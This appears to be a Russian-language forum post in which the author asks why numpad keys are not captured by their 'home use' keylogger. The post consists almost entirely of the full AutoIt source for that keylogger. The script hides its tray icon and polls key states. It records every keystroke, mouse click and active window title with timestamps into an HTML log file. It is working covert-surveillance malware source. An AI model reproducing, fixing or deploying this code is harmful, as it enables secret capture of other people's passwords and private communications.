Понабился гибкий кейлоггер для домашнего использования. Вроде бы все нормально работает но с Num клавиатурой беда =(
Тело:
[box title=TitleBox]
[/box]
Тело:
[box title=TitleBox]
Код:
#NoTrayIcon
;#include <Misc.au3>
Local $date = @YEAR & "-" & @MON & "-" & @MDAY
Local $user32 = DllOpen("user32"), $log
Local $window2 = ""
Local $CAPSLOCKTOGGLE
Local $log = @UserName&"log.html"
HotKeySet( "^{F9}", "Terminate")
opt("OnExitFunc", "Terminate")
If FileExists($log) = 1 Then
FileDelete( $log )
EndIf
FileWrite($log,"")
FileOpen($log, 1)
Sleep(100)
FileWrite($log, "<font face=Verdana size=1>")
FileWrite($log, "<b><center>[#[ Keylogger Log Start ]#] </center></b>
")
FileWrite($log, "<b><center>[#[ History : ]#] </center></b>
")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{EN} = Enter
</font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{BS} = BackSpace
</font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{LMS} = Left mouse button
</font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{RMS} = Right mouse button
</font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{MMS} = Middle mouse button
</font></center>")
FileWrite($log, "
")
FileWrite($log, "<b><center>[#[ Log : ]#] </center></b>
")
While 1
For $n = 30 To 39
If _IsPressed ($n) Then
If ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('=')
ElseIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('0')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('!')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('1')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('"')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('2')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('#')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress( '3')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('$')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('4')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('%')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress( '5')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('&')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('6')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('/')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('7')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress('(')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('8')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then
_LogKeyPress(')')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then
_LogKeyPress('9')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('2E') = 1 Then
_LogKeyPress('.')
While _IsPressed ('2E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('3F') = 1 Then
_LogKeyPress("?")
While _IsPressed ('3F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('B4') = 1 Then
_LogKeyPress("?")
While _IsPressed ('B4') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2A') = 1 Then
_LogKeyPress("*")
While _IsPressed ('2A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2B') = 1 Then
_LogKeyPress("+")
While _IsPressed ('2B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LogKeyPress("'")
While _IsPressed ('27') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('41') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("a")
Else
_LogKeyPress("A")
EndIf
While _IsPressed ('41') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('42') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("b")
Else
_LogKeyPress("B")
EndIf
While _IsPressed ('42') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('43') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("c")
Else
_LogKeyPress("C")
EndIf
While _IsPressed ('43') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('44') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("d")
Else
_LogKeyPress("D")
EndIf
While _IsPressed ('44') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('45') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("e")
Else
_LogKeyPress("E")
EndIf
While _IsPressed ('45') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('46') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("f")
Else
_LogKeyPress("F")
EndIf
While _IsPressed ('46') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('47') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("g")
Else
_LogKeyPress("G")
EndIf
While _IsPressed ('47') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('48') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("h")
Else
_LogKeyPress("H")
EndIf
While _IsPressed ('48') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('49') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("i")
Else
_LogKeyPress("I")
EndIf
While _IsPressed ('49') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("j")
Else
_LogKeyPress("J")
EndIf
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4B') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("k")
Else
_LogKeyPress("K")
EndIf
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4C') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("l")
Else
_LogKeyPress("L")
EndIf
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4D') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("m")
Else
_LogKeyPress("M")
EndIf
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4E') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("n")
Else
_LogKeyPress("N")
EndIf
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4F') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("o")
Else
_LogKeyPress("O")
EndIf
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('50') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("p")
Else
_LogKeyPress("P")
EndIf
While _IsPressed ('50') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('51') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("q")
Else
_LogKeyPress("Q")
EndIf
While _IsPressed ('51') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('52') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("r")
Else
_LogKeyPress("R")
EndIf
While _IsPressed ('52') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('53') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("s")
Else
_LogKeyPress("S")
EndIf
While _IsPressed ('53') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('54') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("t")
Else
_LogKeyPress("T")
EndIf
While _IsPressed ('54') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('55') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("u")
Else
_LogKeyPress("U")
EndIf
While _IsPressed ('55') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('56') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("v")
Else
_LogKeyPress("V")
EndIf
While _IsPressed ('56') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('57') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("w")
Else
_LogKeyPress("W")
EndIf
While _IsPressed ('57') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('58') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("x")
Else
_LogKeyPress("X")
EndIf
While _IsPressed ('58') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('59') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("y")
Else
_LogKeyPress("Y")
EndIf
While _IsPressed ('59') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('5A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LogKeyPress("z")
Else
_LogKeyPress("Z")
EndIf
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('20') = 1 Then
_LogKeyPress(" ")
While _IsPressed ('20') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('01') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{LMS}</i></font>")
While _IsPressed ("01") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('02') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{RMS}</i></font>")
While _IsPressed ("02") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('04') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{MMS}</i></font>")
While _IsPressed ("04") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('08') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{BS}</i></font>")
While _IsPressed ("08") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('09') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
While _IsPressed ("09") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('0d') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{EN}</i></font>
")
While _IsPressed ("0d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('10') Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
While _IsPressed ("10") = 1
For $n = 30 To 39
If _IsPressed ($n) Then
If StringRight($n, 1) = 0 Then
_LogKeyPress('=')
ElseIf StringRight($n, 1) = 1 Then
_LogKeyPress('!')
ElseIf StringRight($n, 1) = 2 Then
_LogKeyPress('"')
ElseIf StringRight($n, 1) = 3 Then
_LogKeyPress('#')
ElseIf StringRight($n, 1) = 4 Then
_LogKeyPress('$')
ElseIf StringRight($n, 1) = 5 Then
_LogKeyPress('%')
ElseIf StringRight($n, 1) = 6 Then
_LogKeyPress('&')
ElseIf StringRight($n, 1) = 7 Then
_LogKeyPress('/')
ElseIf StringRight($n, 1) = 8 Then
_LogKeyPress('(')
ElseIf StringRight($n, 1) = 9 Then
_LogKeyPress(')')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('41') = 1 Then _LogKeyPress("A")
While _IsPressed ('41') = 1
Sleep(1)
WEnd
If _IsPressed ('42') = 1 Then _LogKeyPress("B")
While _IsPressed ('42') = 1
Sleep(1)
WEnd
If _IsPressed ('43') = 1 Then _LogKeyPress("C")
While _IsPressed ('43') = 1
Sleep(1)
WEnd
If _IsPressed ('44') = 1 Then _LogKeyPress("D")
While _IsPressed ('44') = 1
Sleep(1)
WEnd
If _IsPressed ('45') = 1 Then _LogKeyPress("E")
While _IsPressed ('45') = 1
Sleep(1)
WEnd
If _IsPressed ('46') = 1 Then _LogKeyPress("F")
While _IsPressed ('46') = 1
Sleep(1)
WEnd
If _IsPressed ('47') = 1 Then _LogKeyPress("G")
While _IsPressed ('47') = 1
Sleep(1)
WEnd
If _IsPressed ('48') = 1 Then _LogKeyPress("H")
While _IsPressed ('48') = 1
Sleep(1)
WEnd
If _IsPressed ('49') = 1 Then _LogKeyPress("I")
While _IsPressed ('49') = 1
Sleep(1)
WEnd
If _IsPressed ('4A') = 1 Then _LogKeyPress("J")
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
If _IsPressed ('4B') = 1 Then _LogKeyPress("K")
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
If _IsPressed ('4C') = 1 Then _LogKeyPress("L")
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
If _IsPressed ('4D') = 1 Then _LogKeyPress("M")
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
If _IsPressed ('4E') = 1 Then _LogKeyPress("N")
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
If _IsPressed ('4F') = 1 Then _LogKeyPress("O")
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
If _IsPressed ('50') = 1 Then _LogKeyPress("P")
While _IsPressed ('50') = 1
Sleep(1)
WEnd
If _IsPressed ('51') = 1 Then _LogKeyPress("Q")
While _IsPressed ('51') = 1
Sleep(1)
WEnd
If _IsPressed ('52') = 1 Then _LogKeyPress("R")
While _IsPressed ('52') = 1
Sleep(1)
WEnd
If _IsPressed ('53') = 1 Then _LogKeyPress("S")
While _IsPressed ('53') = 1
Sleep(1)
WEnd
If _IsPressed ('54') = 1 Then _LogKeyPress("T")
While _IsPressed ('54') = 1
Sleep(1)
WEnd
If _IsPressed ('55') = 1 Then _LogKeyPress("U")
While _IsPressed ('55') = 1
Sleep(1)
WEnd
If _IsPressed ('56') = 1 Then _LogKeyPress("V")
While _IsPressed ('56') = 1
Sleep(1)
WEnd
If _IsPressed ('57') = 1 Then _LogKeyPress("W")
While _IsPressed ('57') = 1
Sleep(1)
WEnd
If _IsPressed ('58') = 1 Then _LogKeyPress("X")
While _IsPressed ('58') = 1
Sleep(1)
WEnd
If _IsPressed ('59') = 1 Then _LogKeyPress("Y")
While _IsPressed ('59') = 1
Sleep(1)
WEnd
If _IsPressed ('5A') = 1 Then _LogKeyPress("Z")
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
[color=red][b]If _IsPressed ('NUMPAD0') = 1 Then _LogKeyPress("0")
While _IsPressed ('NUMPAD0') = 1
Sleep(1)
WEnd
If _IsPressed ('61') = 1 Then _LogKeyPress("1")
While _IsPressed ('61') = 1
Sleep(1)
WEnd
If _IsPressed ('62') = 1 Then _LogKeyPress("2")
While _IsPressed ('62') = 1
Sleep(1)
WEnd
If _IsPressed ('63') = 1 Then _LogKeyPress("3")
While _IsPressed ('63') = 1
Sleep(1)
WEnd
If _IsPressed ('64') = 1 Then _LogKeyPress("4")
While _IsPressed ('64') = 1
Sleep(1)
WEnd
If _IsPressed ('65') = 1 Then _LogKeyPress("5")
While _IsPressed ('65') = 1
Sleep(1)
WEnd
If _IsPressed ('66') = 1 Then _LogKeyPress("6")
While _IsPressed ('66') = 1
Sleep(1)
WEnd
If _IsPressed ('67') = 1 Then _LogKeyPress("7")
While _IsPressed ('67') = 1
Sleep(1)
WEnd
If _IsPressed ('68') = 1 Then _LogKeyPress("8")
While _IsPressed ('68') = 1
Sleep(1)
WEnd
If _IsPressed ('69') = 1 Then _LogKeyPress("9")
While _IsPressed ('69') = 1
Sleep(1)
WEnd [/b][/color]
WEnd
ElseIf _IsPressed ('11') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
While _IsPressed ("11") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('12') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
While _IsPressed ("12") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('13') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
While _IsPressed ("13") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('14') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
If $CAPSLOCKTOGGLE = 1 Then
$CAPSLOCKTOGGLE = 0
ElseIf $CAPSLOCKTOGGLE = 0 Then
$CAPSLOCKTOGGLE = 1
EndIf
While _IsPressed ("14") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('1b') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
While _IsPressed ("1b") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('21') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
While _IsPressed ("21") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('22') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PG_DOWN}</i></font>")
While _IsPressed ("22") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('23') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
While _IsPressed ("23") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('24') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
While _IsPressed ("24") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('25') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
While _IsPressed ("25") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('26') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
While _IsPressed ("26") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
While _IsPressed ("27") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('28') = 1 Then
_LogKeyPress("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
While _IsPressed ("28") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2c') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PRINT}</i></font>")
While _IsPressed ("2c") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2d') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
While _IsPressed ("2d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2e') = 1 Then
_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
While _IsPressed ("2e") = 1
Sleep(1)
WEnd
EndIf
WEnd
Func _IsPressed($hexKey)
Local $aR, $bRv
$hexKey = '0x' & $hexKey
$aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)
If $aR[0] <> 0 Then
$bRv = 1
Else
$bRv = 0
EndIf
Return $bRv
EndFunc
Func _LogKeyPress($what2log)
$window = WinGetTitle("")
If $window = $window2 Then
FileWrite($log, $what2log)
Else
$window2 = $window
FileWrite($log, "
" & "<b>[" & @YEAR & "." & @MON & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : "' & $window & '"</b>
' & $what2log)
EndIf
EndFunc
Func Terminate()
DllClose($user32)
FileClose($log)
Exit
EndFunc